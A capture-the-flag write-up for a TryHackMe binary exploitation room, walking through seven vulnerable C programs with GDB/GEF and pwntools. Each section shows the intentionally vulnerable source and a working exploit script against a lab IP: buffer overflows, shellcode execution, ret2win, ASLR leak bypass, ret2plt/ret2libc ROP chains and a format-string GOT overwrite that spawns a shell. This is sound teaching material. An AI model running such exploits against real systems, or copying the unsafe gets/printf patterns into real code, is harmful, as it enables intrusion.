TryPwnMe One

A collection of Exploit Development challenges to practice the basic techniques of binary exploitation. - by rePl4stic

The following post by 0xb0b is licensed under CC BY 4.0


Overview

In this room, we are confronted with seven challenges from different categories of binary exploitation. The difficulty will gradually increase with each challenge.

Tools Used

We use the tools GEF and pwntools to solve this series of challenges.

GEF (GDB Enhanced Features) is a set of advanced features and extensions for the GNU Debugger (GDB) that improves the debugging experience, offering better visualizations, shortcuts, and additional commands for reverse engineering and binary exploitation.

Pwntools is a Python library designed for ease of use in developing exploits. It offers tools for binary exploitation, networking and interacting with processes.

TryOverlfowMe 1

In the first challenge, we face a classic buffer overflow vulnerability, where we just need to overwrite the value of the admin variable.

Challenge

This program takes user input via an insecure gets() function, and if the admin variable is set to 1 (likely through a buffer overflow), it opens and prints the contents flag.txt; otherwise, it exits. It is vulnerable because of the use of the gets() function, which does not perform bounds checking. This allows us to perform a buffer overflow, to overwrite the contents of the admin variable, and to read the flag.

overflowme1.c
int main(){
    setup();
    banner();
    int admin = 0;
    char buf[0x10];

    puts("PLease go ahead and leave a comment :");
    gets(buf);

    if (admin){
        const char* filename = "flag.txt";
        FILE* file = fopen(filename, "r");
        char ch;
        while ((ch = fgetc(file)) != EOF) {
            putchar(ch);
    }
    fclose(file);
    }

    else{
        puts("Bye bye\n");
        exit(1);
    }
}

The next thing we do is to run overflowme1, to see how it behaves. We are able to cause a segmentation fault by providing a comment exceeding the buffer.

Solution Method

With the following script using Pwntools we are able to connect to the target challenge machine. It crafts a payload with 16 bytes of padding followed by 32 repetitions of the value 1, aiming to overwrite the admin variable. Finally, it sends the payload and enters interactive mode to receive any output from the server.

pwn1.py
from pwn import *

# Target IP and port
target_ip = '10.10.23.250'
target_port = 9003

# Connect to the remote server
p = remote(target_ip, target_port)

# Craft the payload
padding = b'A' * 16   # 16 bytes to fill the buffer
admin_value = p32(1) * 32  

payload = padding + admin_value 

# Send the payload
p.sendline(payload)

# Interact with the program to see the result (e.g., flag output)
p.interactive()

After we execute our script, we receive the flag for the first challenge.

TryOverflowMe 2

In the second challenge, we also face a classic buffer overflow vulnerability, where we just need to overwrite the value of the admin variable, but this time with a specific value.

Challenge

Like in the challenge, before, the program takes user input, it checks if a specific value is set in the admin variable, and if so, it reads and prints the content of flag.txt; otherwise, it exits with a message. This time the buffer is a bit bigger and the value has to be 0x59595959.

overflowme2.c
int read_flag(){
        const char* filename = "flag.txt";
        FILE* file = fopen(filename, "r");
        if(!file){
            puts("the file flag.txt is not in the current directory, please contact support\n");
            exit(1);
        }
        char ch;
        while ((ch = fgetc(file)) != EOF) {
        putchar(ch);
    }
    fclose(file);
}

int main(){
    
    setup();
    banner();
    int admin = 0;
    int guess = 1;
    int check = 0;
    char buf[64];

    puts("Please Go ahead and leave a comment :");
    gets(buf);

    if (admin==0x59595959){
            read_flag();
    }

    else{
        puts("Bye bye\n");
        exit(1);
    }
}

The next thing we do is to run overflowme2, to see how it behaves. We are able to cause a segmentation fault by providing a comment exceeding the buffer.

Solution Method

With the following script using Pwntools we are able to connect to the target challenge machine. It crafts a payload that consists of 64 'A' bytes to overflow the buffer, followed by the value 0x59595959 repeated to overwrite the admin variable. After sending the payload, it interacts with the server to display the flag.

pwn2.py
from pwn import *

# Target IP and port
target_ip = '10.10.23.250'
target_port = 9004

# Connect to the remote server
p = remote(target_ip, target_port)

# Craft the payload
padding = b'A' * 64        # 64 bytes to fill the buffer
admin_value = p32(0x59595959) * 32

payload = padding + admin_value 
# Send the payload
p.sendline(payload)

# Interact with the program to see the result (e.g., flag output)
p.interactive()

After we execute our script, we receive the flag for the second challenge.

TryExecMe

This challenge does not require us to overflow to exploit the vulnerability. This type of binary exploitation involves injecting shellcode.

Challenge

The program of this challenge reads input into a buffer and attempts to execute it as a function. By providing some shellcode we are able to get a shell.

In the following line lies the vulnerability of the program, it's directly accepting user input and attempting to execute it as code.

( ( void (*) () ) buf) ();
tryexecme.c
int main(){
    setup();
    banner();
    char *buf[128];   

    puts("\nGive me your shell, and I will execute it: ");
    read(0,buf,sizeof(buf));
    puts("\nExecuting Spell...\n");

    ( ( void (*) () ) buf) ();

}

The next thing we do is to run tryexecme, to see how it behaves. It prompts us to give it our shell, and it will execute it.

Solution Method

We use the following script to solve the challenge. We need to set the architecture to amd64 for proper shellcode generation and connects to the target challenge machine. It creates shellcode to spawn a shell using shellcraft.sh(), a feature provided by pwntools. Then it sends this shellcode as the payload to the remote service. Finally, we switch to the interactive mode to interact with the shell.

pwn3.py
from pwn import *

# Set up pwntools context for the binary
context.arch = 'amd64'  # Based on your binary's architecture

# Connect to the remote service
p = remote('10.10.23.250', 9005)

# Create shellcode (spawning a shell)
shellcode = asm(shellcraft.sh())
payload = shellcode 

# Send the payload to the remote service
p.sendline(payload)

# Interact with the shell
p.interactive()

After we execute our script, we receive a shell on the target machine and are able to read the flag of the third challenge.

TryRetMe

In the fourth challenge, we face a ret2win vulnerability. A ret2win is a binary where there is a win() function (or equivalent) which we want to redirect execution there.

Challenge

The program prompts the user with "Return to where?" and reads up to 512 bytes of input. After reading the input, it prints "ok, let's go!" and ends. The win() function is defined but not called in the normal execution flow. The win() function in the program, if called, would execute the /bin/sh command, spawning a shell. However, this function is not invoked.

tryretme.c
int win(){

    system("/bin/sh");
}

void vuln(){
    char *buf[0x20];
    puts("Return to where? : ");
    read(0, buf, 0x200);
    puts("\nok, let's go!\n");
}

int main(){
    setup();
    vuln();
}

The next thing we do is to run tryretme, to see how it behaves.

Solution Method

We use the following article by ir0nstone to help us:

Ir0nstone presents numerous binary exploitation methods in his series of articles. It is a very valuable resource, which I recommend to everyone when it comes to binary exploitation.

As mentioned in the introduction, this is a ret2win vulnerability. Our aim is now to write the address of the win() function to the $rsp register using a buffer overflow in order to execute it. Since the system call system("/bin/sh"); is executed in this function, we thus obtain a shell.

The $rsp register holds the return address of the current function, which can be overwritten during a buffer overflow to redirect execution to the desired function, such as win(). By controlling $rsp, we can manipulate the program's execution flow and trigger the win() function to spawn a shell.

For this, we need to know the offset from when we reach the $rsp register, as well as the address of the win() function.

First of all, we determine the offset.

We use GEF for this. We debug the program tryretme using gdb. Before we execute it in gdb, we create a cyclic pattern. With an overflow, we can determine in which register what was written, or how far the offset is to a certain register.

After generation, we run the program using run and paste the cyclic pattern as input. Since it has a length of over 512 bytes, we cause an overflow.

Next, we search for the $rsp register using the pattern and determine an offset of 264 using GEF. This means that we are in the $rsp register after 264 characters. We would then only have to write the address of the win() function in this register. We can do all this quite easily using pwntools.

The following pwntools script is then used to exploit the buffer overflow vulnerability by sending a crafted payload to trigger the win() function. The payload includes a buffer overflow to reach the return address, a ret gadget to fix stack alignment, and the address of the win() function to spawn a shell. After sending the payload to the remote server, the script opens an interactive session to interact with the shell.

The following line finds the address of a ret instruction inside the binary, which will ensure stack alignment is correct when returning to the win() function. Addressing the mention issued in the challenge instruction.

Addressing the issue of The challenges in this room are running Ubuntu, so there will be stack alignment issues. Make sure to add a ret gadget to solve it if needed.

ret_gadget = ROP(elf).find_gadget(['ret'])[0]:

The ret gadget is added to the payload right before the win() function's address. This ensures the program can "return" to the correct location and avoid crashing due to misalignment when switching control flow to the win() function.

payload += p64(ret_gadget):

This extracts the address of the win() function from the binary's symbol table.

win_addr = elf.symbols['win']:
pwn4.py
from pwn import *

# Set the binary context
elf = context.binary = ELF('./tryretme')  # Replace with the actual binary name

# Connect to the remote server
p = remote('10.10.23.250', 9006)

# Address of the win function
win_addr = elf.symbols['win']

# Address of a `ret` gadget (you can find this with tools like ROPgadget or Pwntools)
# This gadget is simply one instruction: `ret`, which fixes stack alignment.
ret_gadget = ROP(elf).find_gadget(['ret'])[0]

# Offset (determined from cyclic_find)
offset = 264

# Payload: buffer + ret gadget + return address (win function)
payload = b'A' * offset
payload += p64(ret_gadget)  # Add the ret gadget to fix alignment
payload += p64(win_addr)

# Send the payload
p.sendlineafter('Return to where? : ', payload)

# Interact with the shell
p.interactive()

After we execute our script, we receive a shell on the target machine and are able to read the flag of the fourth challenge.

Random Memories

This is a continuation of the ret2win vulnerability from before. However, this time we are probably dealing with ALSR. We again have a win() function whose address we want to overwrite in $rsp.

Challenge

The program displays the address of the vuln() function, then prompts the user for input, reading up to 0x200 (512) bytes into a buffer that is only 0x20 (32) bytes in size, leading to a potential buffer overflow vulnerability. The win function is not directly called.

Address Space Layout Randomization (ASLR) is a security technique that randomizes the memory addresses used by system and application processes, making it more difficult for attackers to predict the location of critical functions or exploit vulnerabilities like buffer overflows. By changing the memory layout on each program execution, ASLR increases the complexity of crafting reliable exploits.

This mechanism can be circumvented if we get leaked addresses, and we can determine the relative offset to the base from this leak.

random.c
int win(){
    system("/bin/sh\0");
}

void vuln(){
    char *buf[0x20];
    printf("I can give you a secret %llx\n", &vuln);
    puts("Where are we going? : ");
    read(0, buf, 0x200);
    puts("\nok, let's go!\n");
}

int main(){
    setup();
    banner();
    vuln();
}

The next thing we do is to run random, to see how it behaves. It gives us a secret, the address of the vuln() function.

Solution Method

We use the following article by ir0nstone to help us:

For this, we need to know the offset from when we reach the $rsp register, as well as the address of the win() function. For a detailed explanation of this, see the TryReMe Challenge solution:

Furthermore, we also need the offset of the functions that we know and that we want to utilize.

We first determine the offset again to reach the $rsp register during overflow. We run the application in gdb, create a sufficient size cyclic pattern, and run the application.

We pass the pattern.

And determine the offset to the $rsp register, which is also 264.

Next, we determine the offset of the vuln and win functions. We can do this simply by using objdump. This will disassemble us the binary and search for any lines containing vuln in the disassembly output.

objdump -d ./random | grep vuln
objdump -d ./random | grep win

Unlike before, we cannot use the symbol table to get the address of the win function. Instead, we calculate the base address using vuln - offset vuln. And add the offset of the win function to the base address to get the actual address of the win function used at runtime. Otherwise, everything is quite similar to the previous challenge.

The base address in a binary is the starting memory address where the binary's code is loaded into memory during execution. In position-independent executables, the actual memory address of functions and data is calculated relative to this base address. By knowing the base address, offsets of functions or gadgets (like vuln or win) from the start of the binary can be used to compute their actual addresses in memory, allowing exploitation or interaction with the binary at runtime.

With our pwntools script, we'll leak the address of the vuln function, calculates the base address of the binary, and determines the addresses of the win function and a ret gadget to align the stack. The payload overflows the buffer, uses the ret gadget for stack alignment, and jumps to the win function, providing shell interaction after sending the payload.

pwn5.py
from pwn import *

# Start the process
#p = process('./random')
p = remote('10.10.23.250', 9007)

# Leak the address of vuln
p.recvuntil(b"I can give you a secret ")
leaked_vuln_addr = int(p.recvline().strip(), 16)

# Log the leaked address
log.info(f"Leaked vuln address: {hex(leaked_vuln_addr)}")

# Offsets obtained from objdump
vuln_offset = 0x1319  # Offset of vuln from objdump
win_offset = 0x1210   # Offset of win from objdump

# Calculate base address of the binary
base_address = leaked_vuln_addr - vuln_offset
log.info(f"Base address: {hex(base_address)}")

# Calculate win address
win_address = base_address + win_offset
log.success(f"Win function address: {hex(win_address)}")

# Calculate the address of the ret gadget (first one at offset 0x101a)
ret_offset = 0x101a  # Offset of ret gadget (from objdump)
ret_gadget = base_address + ret_offset
log.success(f"Ret gadget address: {hex(ret_gadget)}")

# Create the payload
payload = b"A" * 264          # Overflow buffer to RBP (256 bytes)
payload += p64(ret_gadget)    # Add a ret gadget to align the stack
payload += p64(win_address)   # Overwrite return address with win's address

# Log the payload to check
log.info(f"Payload: {payload}")

# Send payload to trigger win
p.sendline(payload)

# Interact with the shell
p.interactive()

After we execute our script, we receive a shell on the target machine and are able to read the flag of the fourth challenge.

The Librarian

This is another continuation of the last two challenges, unlike ret2win, this time we don't have a win function that we want to exploit, but have to make do with what is possible in the included shared libraries. This is a combination of ret2libc and ret2plt challenge.

Challenge

A ret2libc challenge involves exploiting a buffer overflow vulnerability to overwrite the return address on the stack, redirecting execution to a function in the C standard library (libc), such as system(). Here we provide a payload that includes the address of the system() function, an address of the /bin/sh string, and a return address, allowing execution of a shell. This technique bypasses restrictions like non-executable stacks by reusing existing code in the binary or libraries.

A ret2plt (return-to-Procedure Linkage Table) is an exploitation technique in which an attacker redirects the program's execution flow to a function in the PLT (Procedure Linkage Table), which serves as an intermediary for dynamic function calls in programs using shared libraries. By doing so, the attacker can execute functions like system() by leveraging the function pointers stored in the GOT (Global Offset Table).

At first glance, nothing seems possible here. But we have received two shared libraries for the challenge, which point to a ret2libc attack.

We got the shared libraries ld-linux-x86-64.so.2 and libc.so.6 .

The program prompts the user for input using puts and reads up to 512 bytes into a buffer of only 32 bytes, creating a potential buffer overflow vulnerability. After reading the input, it prints a confirmation message, but no further action is taken.

thelibrarian.c
void vuln(){
    char *buf[0x20];
    puts("Again? Where this time? : ");
    read(0, buf, 0x200);
    puts("\nok, let's go!\n");
    }

int main(){
    setup();
    vuln();

}

The next thing we do is to run thelibrarian, to see how it behaves.

Solution Method

Here, too, we use a resource from Ir0nStone to help us:

Only this time we don't have a leak of the base address, we have to find it ourselves. We make use of PLT and GOT to leak those addresses needed.

The PLT (Procedure Linkage Table) and GOT (Global Offset Table) are sections in an ELF file that handle dynamic linking, allowing the binary to rely on external system libraries for functions like "puts." This keeps the binary smaller and makes it easier to update system libraries without needing to change the binary itself.

  • Calling the PLT address of a function is equivalent to calling the function itself

  • The GOT address contains addresses of functions in libc, and the GOT is within the binary.

I used the following sources for the solution, including my first writeup, for the Obscure challenge.

There we had the special case that we had no access to the libc and therefore determined the offsets to the libc at runtime by means of address leaks. However, the tool used for this https://libc.blukat.me/ is currently not available.

Aquinas had used the library directly in his solution approach of obscure at that time, as we do here, and had the influence for me to be able to solve this with his solution.

Also, a shoutout to Jaxafed, who helped me with a sanity check. Don't miss his awesome content at https://jaxafed.github.io/.

I have listed further helpful sources and additional resources below:

As before, we determine the offset to the $rsp register. Then we determine the offsets within the libc, similar to the previous challenge, only this time we look at the shared library.

We use ret2plt first stage to leak the address of puts by calling it via the Procedure Linkage Table (PLT). The PLT entry for puts calls the real function and allows you to leak its actual address from the Global Offset Table (GOT).

Then, we use ret2libc with the calculated base address of libc using the leaked puts address we call system("/bin/sh") from libc, exploiting the known offsets.

We run the application in gdb, create a sufficient size cyclic pattern, and run the application.

We pass the pattern.

And determine the offset to the $rsp register, which is also 264.

With the following script, we have the first half of our exploit, leaking the addresses.

test.py
from pwn import * 
binary_file = './thelibrarian'
libc = ELF('./libc.so.6')

# Connect to remote target
p = remote('10.10.23.250', 9008)
#p = process(binary_file)

context.binary = binary = ELF(binary_file, checksec=False)
rop = ROP(binary)

padding = b"A" * 264
payload = padding
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(binary.got.puts)
payload += p64(binary.plt.puts)
payload += p64(binary.symbols.main)

p.recvuntil(b"Again? Where this time? : \n")
p.sendline(payload)
p.recvuntil(b"ok, let's go!\n\n")
leak = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Puts leak => {hex(leak)}')

# Calculate libc base
libc.address = leak - libc.symbols.puts
log.info(f'Libc base => {hex(libc.address)}')

So, what is happening here?

padding = b"A" * 264
payload = padding
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(binary.got.puts)
payload += p64(binary.plt.puts)
payload += p64(binary.symbols.main
  • Padding (b"A" * 264):

    • This creates a buffer of 264 "A" characters, which is used to fill up the space up to the return address on the stack. This value (264) is likely determined by the size of the buffer in the binary and the offset needed to overwrite the return address.

  • Adding a ret gadget (payload += p64(rop.find_gadget(['ret'])[0])):

    • The ret gadget is used here to align the stack. Since some systems (like Ubuntu) require stack alignment to 16 bytes, the addition of a ret gadget ensures that the stack is aligned properly before executing the next gadgets. This is often used to bypass issues like stack misalignment that would otherwise cause the program to crash.

  • Adding a pop rdi gadget (payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])):

    • This ROP gadget pops a value off the stack into the rdi register, which is the first argument to a function in the System. This prepares the rdi register to hold the argument that will be passed to a function, which in this case is the address of binary.got.puts.

  • Loading the address of puts@got (payload += p64(binary.got.puts)):

    • The address of the puts entry in the Global Offset Table (GOT) is loaded into the rdi register. The GOT holds the addresses of dynamically linked functions, and this allows to print the actual address of puts during runtime (which will help in later stages to leak memory addresses for bypassing ASLR).

  • Calling puts@plt (payload += p64(binary.plt.puts)):

    • The address of puts in the Procedure Linkage Table (PLT) is added to the payload. This makes the program call puts, which will print the value in rdi (which, as set earlier, is the address of puts in the GOT). This effectively leaks the runtime address of puts.

  • Returning to main (payload += p64(binary.symbols.main)):

    • After the puts call, the program will return to the main function, allowing the program to restart. This is common in ROP attacks to give the attacker another chance to send a new payload, using the leaked address of puts to calculate the base address of the libc library and eventually execute a system call.

test.py
from pwn import *  # Import pwntools for exploitation
binary_file = './thelibrarian'  # Path to the binary you're exploiting
libc = ELF('./libc.so.6')  # Load the libc binary for symbols

# Connect to remote target at given IP and port
p = remote('10.10.23.250', 9008)

# Load the binary and disable security checks (for simplified ROP search)
context.binary = binary = ELF(binary_file, checksec=False)

# Create a ROP object to find useful gadgets
rop = ROP(binary)

# Offset to control the return address (padding found through fuzzing/crashing)
padding = b"A" * 264

# Start building the payload
payload = padding  # Buffer overflow up to return address

# Add a 'ret' gadget to align the stack (needed for some systems like Ubuntu)
payload += p64(rop.find_gadget(['ret'])[0])

# Add a 'pop rdi; ret' gadget to control RDI (first argument to functions)
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])

# Pass the GOT entry of 'puts' as the argument to puts (to leak its address)
payload += p64(binary.got.puts)

# Call the 'puts' function in the PLT to print the address of 'puts' from the GOT
payload += p64(binary.plt.puts)

# Return to the main function to reset the binary for further exploitation
payload += p64(binary.symbols.main)

# Send the payload after receiving the initial prompt
p.recvuntil(b"Again? Where this time? : \n")
p.sendline(payload)

# Wait for the output from 'puts' (the leaked address of puts in libc)
p.recvuntil(b"ok, let's go!\n\n")

# Read the leaked puts address, pad it to 8 bytes (64-bit address)
leak = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Puts leak => {hex(leak)}')  # Log the leaked address for debugging

# Calculate the base address of the libc library in memory
libc.address = leak - libc.symbols.puts  # Subtract the offset of 'puts' to get base
log.info(f'Libc base => {hex(libc.address)}')  # Log the libc base for debugging

Running the script, we can see ALSR is present, and the addresses are changing.

Next, we extract the offsets of the system function and the /bin/sh string. Like in the following resource depicted:

The following script combines the information gathered to exploit the binary. We leak the puts function address from the GOT, calculate the libc base, and then executing a second payload to spawn a shell.

The instruction payload += p64(binary.symbols.main) allows the program to return to main after leaking the puts address, giving us another opportunity to send a second payload for spawning the shell.

libc.address = leak - libc.symbols.puts calculates the base address of libc by subtracting the offset of puts within libc from the leaked address, thus aligning the attack with the correct library version. See Random Memories

pwn6.py
from pwn import * 
binary_file = './thelibrarian'
libc = ELF('./libc.so.6')

# Connect to remote target
p = remote('10.10.23.250', 9008)
#p = process(binary_file)

context.binary = binary = ELF(binary_file, checksec=False)
rop = ROP(binary)

padding = b"A" * 264
payload = padding
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(binary.got.puts)
payload += p64(binary.plt.puts)
payload += p64(binary.symbols.main)

p.recvuntil(b"Again? Where this time? : \n")
p.sendline(payload)
p.recvuntil(b"ok, let's go!\n\n")
leak = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Puts leak => {hex(leak)}')

# Calculate libc base
libc.address = leak - libc.symbols.puts
log.info(f'Libc base => {hex(libc.address)}')

# Calculate the /bin/sh and system addresses using the provided offsets
bin_sh_offset = 0x1b3d88
system_offset = 0x4f420

bin_sh = libc.address + bin_sh_offset
system = libc.address + system_offset

log.info(f'/bin/sh address => {hex(bin_sh)}')
log.info(f'system address => {hex(system)}')

# Second payload for spawning shell
payload = padding
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(bin_sh)            # Use manually calculated /bin/sh address
payload += p64(system)            # Use manually calculated system address
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(0x0) 

p.recvuntil(b"Again? Where this time? : \n")
p.sendline(payload)
p.recvuntil(b"ok, let's go!\n\n")
p.interactive()

After we execute our script, we receive a shell on the target machine and are able to read the flag of the sixth challenge.

Not Specified

In this challenge, we are dealing with a format string vulnerability. This reminded me of the format string2 challenge from picoctf. But we don't have any variables to overwrite with content here.

Challenge

This program takes a username input from the user and prints it without format string protection, making it vulnerable to a format string attack. Additionally, the win() function contains a call to system("/bin/sh"), which could potentially allow for shell access if exploited properly.

notspecified.c
int win(){
    system("/bin/sh\0");
}

int main(){
    setup();
    banner();
    char *username[32];
    puts("Please provide your username\n");
    read(0,username,sizeof(username));
    puts("Thanks! ");
    printf(username);
    puts("\nbye\n");
    exit(1);    
}

The next thing we do is to run notspecified, to see how it behaves. After entering a username, it gets printed.

Solution Method

We use the following two resources for assistance:

Referring to the source code, printf(username) allows a user to provide format specifiers in the input (such as %s, %x, %n), which could lead to arbitrary memory reads or writes. Let's see if we can leak the stack. I find the following payload to be useful to format the output of the leak.

python -c "print('ABCDEFGH|' + '|'.join(['%d:%%p' % i for i in range(1,40)]))" | ./notspecified | grep 4847

We see, in sixth place, the content of our input.

What can we do with it now?

Well, since we can not only read but also write, we could theoretically replace the address of a subsequent function in the stack with the address of the win function.

This can be quite unpleasant and time-consuming with regard to the note in the challenge: The challenges in this room are running Ubuntu, so there will be stack alignment issues. Make sure to add a ret gadget to solve it if needed. How this is done manually can be seen in the writeup of cajac:

https://github.com/Cajac/picoCTF-Writeups/blob/main/picoCTF_2024/Binary_Exploitation/format_string_2.md

We can make use of the fmtstr_payload function of pwntools. But it is important to set the architecture and endianess first.

With the following script, we abuse the format string vulnerability to get a shell. It overwrites the GOT entry for the exit function with the address of the win function, so when the program tries to call exit, it instead executes the win function. It generates a payload using fmtstr_payload, which specifies the overwrite.

In a format string vulnerability, we need to know where on the stack our input is, so we can use it to modify memory in a controlled way. In this case, index 6 is where the format string begins, so we would pass 6 as the offset to functions like fmtstr_payload in pwntools, allowing it to know where to inject the payload.

pwn7.py
from pwnlib.fmtstr import FmtStr, fmtstr_split, fmtstr_payload
from pwn import *
context.clear(arch = 'amd64', endian ='little')
def send_payload(payload):
        s.recvline()
        s.sendline(payload)
        r = s.recvline()
        return r

elf = ELF('./notspecified')
exit_got = elf.got['exit']
win_func = elf.symbols['win']
#s = process('./notspecified')
s = remote('10.10.23.250', 9009)

payload = fmtstr_payload(6, {exit_got: win_func})
print(payload)
print(send_payload(payload))
s.interactive()

Don't miss out on Jaxafed's approach, with a manual approach. There you can see the magic happen behind fmtstr_payload.

https://jaxafed.github.io/posts/tryhackme-trypwnme_one/#creating-the-payload-manually

After we execute our script, we receive a shell on the target machine and are able to read the flag of the seventh challenge.

Last updated